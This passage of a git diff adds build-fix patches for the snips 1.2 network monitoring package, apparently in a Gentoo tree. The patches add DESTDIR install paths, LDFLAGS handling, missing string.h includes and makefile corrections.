+- $(INSTALL) -c -m 755 $(CMUSNMP)/snmpapps/snmpget $(BINDIR)/
+- $(INSTALL) -c -m 444 $(CMUSNMP)/mib-v2.txt $(ETCDIR)/
+- @if [ -f $(ETCDIR)/mibII.txt ]; then \
+- mv $(ETCDIR)/mibII.txt $(ETCDIR)/mibII.txt.old ;\
++ $(INSTALL) -c -m 755 $(CMUSNMP)/snmpapps/snmpwalk $(DESTDIR)$(BINDIR)/
++ $(INSTALL) -c -m 755 $(CMUSNMP)/snmpapps/snmpget $(DESTDIR)$(BINDIR)/
++ $(INSTALL) -c -m 444 $(CMUSNMP)/mib-v2.txt $(DESTDIR)$(ETCDIR)/
++ @if [ -f $(DESTDIR)$(ETCDIR)/mibII.txt ]; then \
++ mv $(DESTDIR)$(ETCDIR)/mibII.txt $(DESTDIR)$(ETCDIR)/mibII.txt.old ;\
+ fi
+ @echo "See $(SRCDIR)/perl-monotors/README for further customizations"
+
+diff -uNr snips-1.2.ORIG/pingmon/Makefile.mid snips-1.2/pingmon/Makefile.mid
+--- snips-1.2.ORIG/pingmon/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/pingmon/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -26,11 +26,11 @@
+ $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/ ;
+- @[ -f $(BINDIR)/ippingmon ] && rm -f $(BINDIR)/ippingmon ; \
+- ln -s $(BINDIR)/$(TARG) $(BINDIR)/ippingmon ;\
+- [ -f $(BINDIR)/rpcpingmon ] && rm -f $(BINDIR)/rpcpingmon ; \
+- ln -s $(BINDIR)/$(TARG) $(BINDIR)/rpcpingmon
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/ ;
++ @[ -f $(DESTDIR)$(BINDIR)/ippingmon ] && rm -f $(DESTDIR)$(BINDIR)/ippingmon ; \
++ ln -s $(DESTDIR)$(BINDIR)/$(TARG) $(DESTDIR)$(BINDIR)/ippingmon ;\
++ [ -f $(DESTDIR)$(BINDIR)/rpcpingmon ] && rm -f $(DESTDIR)$(BINDIR)/rpcpingmon ; \
++ ln -s $(DESTDIR)$(BINDIR)/$(TARG) $(DESTDIR)$(BINDIR)/rpcpingmon
+
+ clean:
+ rm -f $(DIRT)
+diff -uNr snips-1.2.ORIG/pingmon/multiping/Makefile.mid snips-1.2/pingmon/multiping/Makefile.mid
+--- snips-1.2.ORIG/pingmon/multiping/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/pingmon/multiping/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -14,10 +14,10 @@
+ $(CC) $(CFLAGS) $(OBJS) $(PROGLIBS) -o $(TARG)
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 4711 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 4711 $(TARG) $(DESTDIR)$(BINDIR)/
+ @if [ `whoami` = "root" ]; then \
+- chown root $(BINDIR)/$(TARG) ;\
+- ls -lg $(BINDIR)/$(TARG) ;\
++ chown root $(DESTDIR)$(BINDIR)/$(TARG) ;\
++ ls -lg $(DESTDIR)$(BINDIR)/$(TARG) ;\
+ else \
+ echo "";echo "___Installed $(TARG) needs to be root suid___" ;\
+ echo "Do as root manually" ;\
+diff -uNr snips-1.2.ORIG/pingmon/rpcping/Makefile.mid snips-1.2/pingmon/rpcping/Makefile.mid
+--- snips-1.2.ORIG/pingmon/rpcping/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/pingmon/rpcping/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -16,7 +16,7 @@
+ $(CC) $(CFLAGS) $(OBJS) $(PROGLIBS) -o $(TARG)
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/
+
+ clean:
+ rm -f $(DIRT) $(TARG)
+diff -uNr snips-1.2.ORIG/portmon/Makefile.mid snips-1.2/portmon/Makefile.mid
+--- snips-1.2.ORIG/portmon/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/portmon/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -15,7 +15,7 @@
+
+ #
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/
+
+ clean:
+ rm -f $(DIRT)
+diff -uNr snips-1.2.ORIG/radiusmon/Makefile.mid snips-1.2/radiusmon/Makefile.mid
+--- snips-1.2.ORIG/radiusmon/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/radiusmon/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -17,7 +17,7 @@
+
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/
+
+ test: radiusmon.c md5.c
+ $(CC) -c $(CFLAGS) -DDEBUG -DTEST radiusmon.c
+diff -uNr snips-1.2.ORIG/snipslog/Makefile.mid snips-1.2/snipslog/Makefile.mid
+--- snips-1.2.ORIG/snipslog/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/snipslog/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -21,7 +21,7 @@
+ $(CC) $(CFLAGS) -DTEST -o snipslogtest snipslogtest.c $(LIBS)
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/
+ @echo "___Update config file for logging daemon in $(ETCDIR) ___"
+
+ clean:
+diff -uNr snips-1.2.ORIG/snipstv/Makefile.mid snips-1.2/snipstv/Makefile.mid
+--- snips-1.2.ORIG/snipstv/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/snipstv/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -20,9 +20,9 @@
+ $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)
+- [ -r $(BINDIR)/netconsole ] || ln -s $(BINDIR)/$(TARG) $(BINDIR)/netconsole
+- $(INSTALL) -c -m 0444 snipstv-help $(ETCDIR)
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)
++ [ -r $(DESTDIR)$(BINDIR)/netconsole ] || ln -s $(DESTDIR)$(BINDIR)/$(TARG) $(DESTDIR)$(BINDIR)/netconsole
++ $(INSTALL) -c -m 0444 snipstv-help $(DESTDIR)$(ETCDIR)
+
+ clean:
+ rm -f $(DIRT) filter
+diff -uNr snips-1.2.ORIG/snipsweb/Makefile.mid snips-1.2/snipsweb/Makefile.mid
+--- snips-1.2.ORIG/snipsweb/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/snipsweb/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -32,24 +32,24 @@
+
+ install: installdir
+ @for f in $(CGI) ; do \
+- $(INSTALL) -c -m 755 $$f.seds $(CGIDIR)/$$f ; \
++ $(INSTALL) -c -m 755 $$f.seds $(DESTDIR)$(CGIDIR)/$$f ; \
+ done
+ @for f in $(CONFIG) ; do \
+- if [ -f $(ETCDIR)/$$f ]; then \
++ if [ -f $(DESTDIR)$(ETCDIR)/$$f ]; then \
+ echo "Not overwriting existing $(ETCDIR)/$$f" ;\
+ else \
+- $(INSTALL) -c -m 755 $$f.seds $(ETCDIR)/$$f ; \
++ $(INSTALL) -c -m 755 $$f.seds $(DESTDIR)$(ETCDIR)/$$f ; \
+ fi ;\
+ done
+- @[ -f $(DEVICEHELPDIR)/default ] || $(INSTALL) -c -m 644 default $(DEVICEHELPDIR)/
++ @[ -f $(DESTDIR)$(DEVICEHELPDIR)/default ] || $(INSTALL) -c -m 644 default $(DESTDIR)$(DEVICEHELPDIR)/
+ @for f in $(HTMLFILES) ; do \
+- if [ -f $(HTMLDIR)/$$f ]; then \
++ if [ -f $(DESTDIR)$(HTMLDIR)/$$f ]; then \
+ echo "Not overwriting existing $(HTMLDIR)/$$f" ;\
+ else \
+- $(INSTALL) -c -m 644 $$f $(HTMLDIR)/$$f ; \
++ $(INSTALL) -c -m 644 $$f $(DESTDIR)$(HTMLDIR)/$$f ; \
+ fi ;\
+ done ;\
+- cp -r gifs $(HTMLDIR)/gifs
++ cp -r gifs $(DESTDIR)$(HTMLDIR)/gifs
+ @echo "Installed basic web files under " ; \
+ echo " $(HTMLDIR) and $(CGIDIR)" ; \
+ echo "Move into desired web location."; \
+diff -uNr snips-1.2.ORIG/tksnips/Makefile.mid snips-1.2/tksnips/Makefile.mid
+--- snips-1.2.ORIG/tksnips/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/tksnips/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -23,7 +23,7 @@
+ cat tkSnips.tix > tkSnips ;
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/
+
+ clean:
+ rm -f $(DIRT) test
+diff -uNr snips-1.2.ORIG/tpmon/Makefile.mid snips-1.2/tpmon/Makefile.mid
+--- snips-1.2.ORIG/tpmon/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/tpmon/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -20,7 +20,7 @@
+ $(CC) $(CFLAGS) -o tptest tpmon.o tptest.o
+
+ install: installdir $(TARG)
+- $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(TARG) $(DESTDIR)$(BINDIR)/
+
+ clean:
+ rm -f $(DIRT) tptest
+diff -uNr snips-1.2.ORIG/trapmon/Makefile.mid snips-1.2/trapmon/Makefile.mid
+--- snips-1.2.ORIG/trapmon/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/trapmon/Makefile.mid 2008-06-30 12:35:38.000000000 +0100
+@@ -20,10 +20,10 @@
+ $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
+
+ install: $(TARG)
+- $(INSTALL) -c -m 4750 $(TARG) $(BINDIR)/
++ $(INSTALL) -c -m 4750 $(TARG) $(DESTDIR)$(BINDIR)/
+ @if [ `whoami` = "root" ]; then \
+- chown root $(BINDIR)/$(TARG) ;\
+- ls -lg $(BINDIR)/$(TARG) ;\
++ chown root $(DESTDIR)$(BINDIR)/$(TARG) ;\
++ ls -lg $(DESTDIR)$(BINDIR)/$(TARG) ;\
+ else \
+ echo "";echo "___Installed $(TARG) needs to be root suid___" ;\
+ echo "Do as root manually" ;\
+diff -uNr snips-1.2.ORIG/utility/Makefile.mid snips-1.2/utility/Makefile.mid
+--- snips-1.2.ORIG/utility/Makefile.mid 2008-06-30 12:42:43.000000000 +0100
++++ snips-1.2/utility/Makefile.mid 2008-06-30 12:42:59.000000000 +0100
+@@ -59,12 +59,12 @@
+ echo ""
+
+ install: all
+- $(INSTALL) -c -m 751 $(CPROGS) $(BINDIR)/
++ $(INSTALL) -c -m 751 $(CPROGS) $(DESTDIR)$(BINDIR)/
+ -@ for f in $(SCRIPTS) ; do \
+- if [ -f $(BINDIR)/$$f ]; then \
++ if [ -f $(DESTDIR)$(BINDIR)/$$f ]; then \
+ echo "Not overwriting existing $(BINDIR)/$$f" ;\
+ else \
+- $(INSTALL) -c -m 751 $$f.seds $(BINDIR)/$$f ;\
++ $(INSTALL) -c -m 751 $$f.seds $(DESTDIR)$(BINDIR)/$$f ;\
+ fi ;\
+ done
+
diff --git a/net-analyzer/snips/files/snips-1.2-etherload-makefile-ordering.patch b/net-analyzer/snips/files/snips-1.2-etherload-makefile-ordering.patch
new file mode 100644
index 000000000000..037f4a4b8a65
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-etherload-makefile-ordering.patch
@@ -0,0 +1,12 @@
+diff -uNr snips-1.2.ORIG/etherload/Makefile.mid snips-1.2/etherload/Makefile.mid
+--- snips-1.2.ORIG/etherload/Makefile.mid 2012-06-26 15:35:46.329759711 +0100
++++ snips-1.2/etherload/Makefile.mid 2012-06-26 15:37:13.194765114 +0100
+@@ -19,7 +19,7 @@
+ INITFILES = etherload
+
+ $(TARG): $(OBJS)
+- $(CC) -o etherload $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS)
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) -o $@
+
+ standalone: clean
+ make CFLAGS="$(CFLAGS) -DSTANDALONE" $(TARG)
diff --git a/net-analyzer/snips/files/snips-1.2-implicit-declarations.patch b/net-analyzer/snips/files/snips-1.2-implicit-declarations.patch
new file mode 100644
index 000000000000..6e3880ca58bf
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-implicit-declarations.patch
@@ -0,0 +1,130 @@
+--- snips-1.2/cmu-snmp/snmp/asn1.c.orig 2008-06-26 17:09:24.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/asn1.c 2008-06-26 17:09:47.000000000 +0100
+@@ -36,6 +36,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <sys/types.h>
+ #ifdef WIN32
+ #include <memory.h>
+--- snips-1.2/cmu-snmp/snmp/snmp_api.c.orig 2008-06-26 17:11:36.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/snmp_api.c 2008-06-26 17:11:44.000000000 +0100
+@@ -27,6 +27,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <sys/types.h>
+ #include <ctype.h>
+ #include <errno.h>
+--- snips-1.2/cmu-snmp/snmp/mib.c.orig 2008-06-26 17:12:42.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/mib.c 2008-06-26 17:12:54.000000000 +0100
+@@ -24,6 +24,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+
+ #ifdef HAVE_STDLIB_H
+ #include <stdlib.h>
+--- snips-1.2/cmu-snmp/snmp/snmp_pdu.c.orig 2008-06-26 17:10:12.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/snmp_pdu.c 2008-06-26 17:10:22.000000000 +0100
+@@ -38,6 +38,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <errno.h>
+ #include <sys/types.h>
+
+--- snips-1.2/cmu-snmp/snmp/snmp_vars.c.orig 2008-06-26 17:10:44.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/snmp_vars.c 2008-06-26 17:10:52.000000000 +0100
+@@ -36,6 +36,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <errno.h>
+ #include <sys/types.h>
+
+--- snips-1.2/cmu-snmp/snmp/new-parse.c.orig 2008-06-26 17:13:44.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/new-parse.c 2008-06-26 17:13:50.000000000 +0100
+@@ -30,6 +30,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <sys/types.h>
+
+ #ifdef HAVE_STRINGS_H
+--- snips-1.2/cmu-snmp/snmp/snmp_api_util.c.orig 2008-06-26 17:14:38.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/snmp_api_util.c 2008-06-26 17:14:46.000000000 +0100
+@@ -27,6 +27,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <sys/types.h>
+
+ #ifdef WIN32
+--- snips-1.2/cmu-snmp/snmp/parse.c.orig 2008-06-26 17:13:18.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/parse.c 2008-06-26 17:13:26.000000000 +0100
+@@ -42,6 +42,7 @@
+ #endif /* HAVE_STDLIB_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <ctype.h>
+ #include <sys/types.h>
+ #include "asn1.h"
+--- snips-1.2/cmu-snmp/snmp/mini-client.c.orig 2008-06-26 17:12:21.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/mini-client.c 2008-06-26 17:12:27.000000000 +0100
+@@ -37,6 +37,7 @@
+ #include <sys/types.h>
+ #include <fcntl.h>
+ #include <stdio.h>
++#include <string.h>
+ #include <assert.h>
+ #include <ctype.h>
+ #include <errno.h>
+--- snips-1.2/lib/rrd_funcs.c.orig 2008-06-26 17:08:40.000000000 +0100
++++ snips-1.2/lib/rrd_funcs.c 2008-06-26 17:08:49.000000000 +0100
+@@ -38,6 +38,7 @@
+ #include "osdefs.h"
+ #include <sys/types.h>
+ #include <stdio.h>
++#include <string.h>
+ #include <errno.h>
+ #ifndef NeXT
+ # include <unistd.h> /* for access(), lseek() */
+--- snips-1.2/cmu-snmp/snmp/snmp_api_error.c.orig 2008-06-26 17:23:56.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/snmp_api_error.c 2008-06-26 17:24:06.000000000 +0100
+@@ -35,6 +35,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <sys/types.h>
+
+ #ifdef HAVE_STRINGS_H
+--- snips-1.2/cmu-snmp/snmp/snmp_extra.c.orig 2008-06-26 17:22:57.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/snmp_extra.c 2008-06-26 17:23:05.000000000 +0100
+@@ -36,6 +36,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #include <ctype.h>
+ #include <sys/types.h>
+
+--- snips-1.2/cmu-snmp/snmp/coexistance.c.orig 2008-06-26 17:23:26.000000000 +0100
++++ snips-1.2/cmu-snmp/snmp/coexistance.c 2008-06-26 17:23:33.000000000 +0100
+@@ -32,6 +32,7 @@
+ #endif /* HAVE_CONFIG_H */
+
+ #include <stdio.h>
++#include <string.h>
+ #ifdef WIN32
+ #include <winsock2.h>
+ #else /* WIN32 */
diff --git a/net-analyzer/snips/files/snips-1.2-install-missing.patch b/net-analyzer/snips/files/snips-1.2-install-missing.patch
new file mode 100644
index 000000000000..f9af70847494
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-install-missing.patch
@@ -0,0 +1,33 @@
+diff -uNr snips-1.2.ORIG/perl-monitors/Makefile.mid snips-1.2/perl-monitors/Makefile.mid
+--- snips-1.2.ORIG/perl-monitors/Makefile.mid 2008-07-04 11:24:23.000000000 +0100
++++ snips-1.2/perl-monitors/Makefile.mid 2008-07-04 11:28:02.000000000 +0100
+@@ -17,7 +17,7 @@
+ PROGS = apcmon armon bgpmon bpmon ciscomon modemmon novellmon nrmon \
+ hostmon hostmon-collector hostmon-osclients/hostmon-client \
+ smbmon sqlmon snmpmon snmpmon-collector snmpgeneric \
+- syslogmon upsmon rcisco testlog
++ syslogmon upsmon rcisco testlog snmpgeneric2
+
+ # to create init files to start/stop programs
+ INITFILES = apcmon armon bgpmon bpmon ciscomon modemmon novellmon nrmon \
+@@ -89,7 +89,7 @@
+ @if [ -f $(DESTDIR)$(ETCDIR)/mibII.txt ]; then \
+ mv $(DESTDIR)$(ETCDIR)/mibII.txt $(DESTDIR)$(ETCDIR)/mibII.txt.old ;\
+ fi
+- @echo "See $(SRCDIR)/perl-monotors/README for further customizations"
++ @echo "See $(SRCDIR)/perl-monitors/README for further customizations"
+
+ clean:
+ @-cd $(CMUSNMP)/snmpapps; make realclean
+diff -uNr snips-1.2.ORIG/utility/Makefile.mid snips-1.2/utility/Makefile.mid
+--- snips-1.2.ORIG/utility/Makefile.mid 2008-07-04 11:24:23.000000000 +0100
++++ snips-1.2/utility/Makefile.mid 2008-07-04 11:25:13.000000000 +0100
+@@ -6,7 +6,7 @@
+
+ SHSCRIPTS = crontab.snips snipsprog.init
+ PERLSCRIPTS = keepalive_monitors.pl logstats.pl logmaint.pl \
+- docrypt.pl notifier.pl
++ docrypt.pl notifier.pl snmpconf.pl
+ SCRIPTS = $(SHSCRIPTS) $(PERLSCRIPTS)
+
+ CPROGS = display_snips_datafile eventselect
diff --git a/net-analyzer/snips/files/snips-1.2-ldflags-respect.patch b/net-analyzer/snips/files/snips-1.2-ldflags-respect.patch
new file mode 100644
index 000000000000..d298ed3a7436
--- /dev/null
+++ b/net-analyzer/snips/files/snips-1.2-ldflags-respect.patch
@@ -0,0 +1,184 @@
+diff -uNr snips-1.2.ORIG/etherload/Makefile.mid snips-1.2/etherload/Makefile.mid
+--- snips-1.2.ORIG/etherload/Makefile.mid 2012-06-26 14:43:15.818552541 +0100
++++ snips-1.2/etherload/Makefile.mid 2012-06-26 14:48:11.983571994 +0100
+@@ -19,7 +19,7 @@
+ INITFILES = etherload
+
+ $(TARG): $(OBJS)
+- $(CC) -o etherload $(CFLAGS) $(OBJS) $(LIBS)
++ $(CC) -o etherload $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS)
+
+ standalone: clean
+ make CFLAGS="$(CFLAGS) -DSTANDALONE" $(TARG)
+diff -uNr snips-1.2.ORIG/lib/Makefile.mid snips-1.2/lib/Makefile.mid
+--- snips-1.2.ORIG/lib/Makefile.mid 2012-06-26 14:43:15.791552541 +0100
++++ snips-1.2/lib/Makefile.mid 2012-06-26 14:44:51.073558777 +0100
+@@ -49,7 +49,7 @@
+ echo "Generating ../perl-module/Makefile"; \
+ (cd ../perl-module; \
+ perl Makefile.PL \
+- CC="$(CC)" LD="$(CC)" OPTIMIZE="$(CFLAGS)" LIBS="$(LIBS)" \
++ CC="$(CC)" LD="$(CC)" OPTIMIZE="$(CFLAGS)" LDFLAGS="$(LDFLAGS)" LIBS="$(LIBS)" \
+ INSTALLSITELIB=$(ROOTDIR)/lib/perl INSTALLSITEARCH=$(ROOTDIR)/lib/perl INSTALLARCHLIB=$(ROOTDIR)/lib/perl INSTALLMAN3DIR=$(MANDIR) ; \
+ ) >/dev/null ;\
+ fi
+diff -uNr snips-1.2.ORIG/nsmon/Makefile.mid snips-1.2/nsmon/Makefile.mid
+--- snips-1.2.ORIG/nsmon/Makefile.mid 2012-06-26 14:43:15.817552541 +0100
++++ snips-1.2/nsmon/Makefile.mid 2012-06-26 14:47:26.847568340 +0100
+@@ -14,7 +14,7 @@
+
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+ install: installdir $(TARG)
+ $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
+diff -uNr snips-1.2.ORIG/ntpmon/Makefile.mid snips-1.2/ntpmon/Makefile.mid
+--- snips-1.2.ORIG/ntpmon/Makefile.mid 2012-06-26 14:43:15.807552541 +0100
++++ snips-1.2/ntpmon/Makefile.mid 2012-06-26 14:46:28.392565438 +0100
+@@ -13,7 +13,7 @@
+ INITFILES = ntpmon
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+
+ install: installdir $(TARG)
+diff -uNr snips-1.2.ORIG/pingmon/Makefile.mid snips-1.2/pingmon/Makefile.mid
+--- snips-1.2.ORIG/pingmon/Makefile.mid 2012-06-26 14:43:15.819552541 +0100
++++ snips-1.2/pingmon/Makefile.mid 2012-06-26 14:48:57.503574984 +0100
+@@ -23,7 +23,7 @@
+ INITFILES = ippingmon rpcpingmon
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+ install: installdir $(TARG)
+ $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/ ;
+diff -uNr snips-1.2.ORIG/pingmon/multiping/Makefile.mid snips-1.2/pingmon/multiping/Makefile.mid
+--- snips-1.2.ORIG/pingmon/multiping/Makefile.mid 2012-06-26 14:43:15.819552541 +0100
++++ snips-1.2/pingmon/multiping/Makefile.mid 2012-06-26 14:48:25.751573031 +0100
+@@ -11,7 +11,7 @@
+ OBJS = multiping.o
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(PROGLIBS) -o $(TARG)
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(PROGLIBS) -o $(TARG)
+
+ install: installdir $(TARG)
+ $(INSTALL) -c -m 4711 $(TARG) $(BINDIR)/
+diff -uNr snips-1.2.ORIG/pingmon/rpcping/Makefile.mid snips-1.2/pingmon/rpcping/Makefile.mid
+--- snips-1.2.ORIG/pingmon/rpcping/Makefile.mid 2012-06-26 14:43:15.819552541 +0100
++++ snips-1.2/pingmon/rpcping/Makefile.mid 2012-06-26 14:48:46.799574327 +0100
+@@ -13,7 +13,7 @@
+ OBJS = rpcping.o
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(PROGLIBS) -o $(TARG)
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(PROGLIBS) -o $(TARG)
+
+ install: installdir $(TARG)
+ $(INSTALL) -c -m 751 $(TARG) $(BINDIR)/
+diff -uNr snips-1.2.ORIG/portmon/Makefile.mid snips-1.2/portmon/Makefile.mid
+--- snips-1.2.ORIG/portmon/Makefile.mid 2012-06-26 14:43:15.796552541 +0100
++++ snips-1.2/portmon/Makefile.mid 2012-06-26 14:45:28.936561270 +0100
+@@ -11,7 +11,7 @@
+ PROGLIBS =
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) -o $(TARG)
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) -o $(TARG)
+
+ #
+ install: installdir $(TARG)
+diff -uNr snips-1.2.ORIG/radiusmon/Makefile.mid snips-1.2/radiusmon/Makefile.mid
+--- snips-1.2.ORIG/radiusmon/Makefile.mid 2012-06-26 14:43:15.815552541 +0100
++++ snips-1.2/radiusmon/Makefile.mid 2012-06-26 14:46:41.096566075 +0100
+@@ -13,7 +13,7 @@
+ INITFILES = radiusmon
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+
+ install: installdir $(TARG)
+diff -uNr snips-1.2.ORIG/snipslog/Makefile.mid snips-1.2/snipslog/Makefile.mid
+--- snips-1.2.ORIG/snipslog/Makefile.mid 2012-06-26 14:43:15.817552541 +0100
++++ snips-1.2/snipslog/Makefile.mid 2012-06-26 14:47:47.263570500 +0100
+@@ -15,7 +15,7 @@
+ INITFILES = snipslogd
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $(TARG)
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $(TARG)
+
+ snipslogtest: snipslogtest.o
+ $(CC) $(CFLAGS) -DTEST -o snipslogtest snipslogtest.c $(LIBS)
+diff -uNr snips-1.2.ORIG/snipstv/Makefile.mid snips-1.2/snipstv/Makefile.mid
+--- snips-1.2.ORIG/snipstv/Makefile.mid 2012-06-26 14:43:15.818552541 +0100
++++ snips-1.2/snipstv/Makefile.mid 2012-06-26 14:47:56.599570885 +0100
+@@ -17,7 +17,7 @@
+ update_msgwin.o update_promptwin.o update_title.o
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+ install: installdir $(TARG)
+ $(INSTALL) -c -m 751 $(TARG) $(BINDIR)
+diff -uNr snips-1.2.ORIG/tksnips/Makefile.mid snips-1.2/tksnips/Makefile.mid
+--- snips-1.2.ORIG/tksnips/Makefile.mid 2012-06-26 14:43:15.792552541 +0100
++++ snips-1.2/tksnips/Makefile.mid 2012-06-26 14:45:03.849559610 +0100
+@@ -15,7 +15,7 @@
+ all: $(TARG)
+
+ ndaemon: $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) $(PROGLIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) $(PROGLIBS) -o $@
+
+ tkSnips: tkSnips.tix
+ @echo "Doing substitutions on tkSnips" ;\
+diff -uNr snips-1.2.ORIG/tpmon/Makefile.mid snips-1.2/tpmon/Makefile.mid
+--- snips-1.2.ORIG/tpmon/Makefile.mid 2012-06-26 14:43:15.788552541 +0100
++++ snips-1.2/tpmon/Makefile.mid 2012-06-26 14:44:04.585555459 +0100
+@@ -11,7 +11,7 @@
+ PROGLIBS =
+
+ $(TARG): $(OBJS) Makefile
+- $(CC) $(CFLAGS) $(OBJS) $(LIBS) -o $@
++ $(CC) $(CFLAGS) $(OBJS) $(LDFLAGS) $(LIBS) -o $@
+
+ ######
+ # small testing program to demonstrate the throughput() function
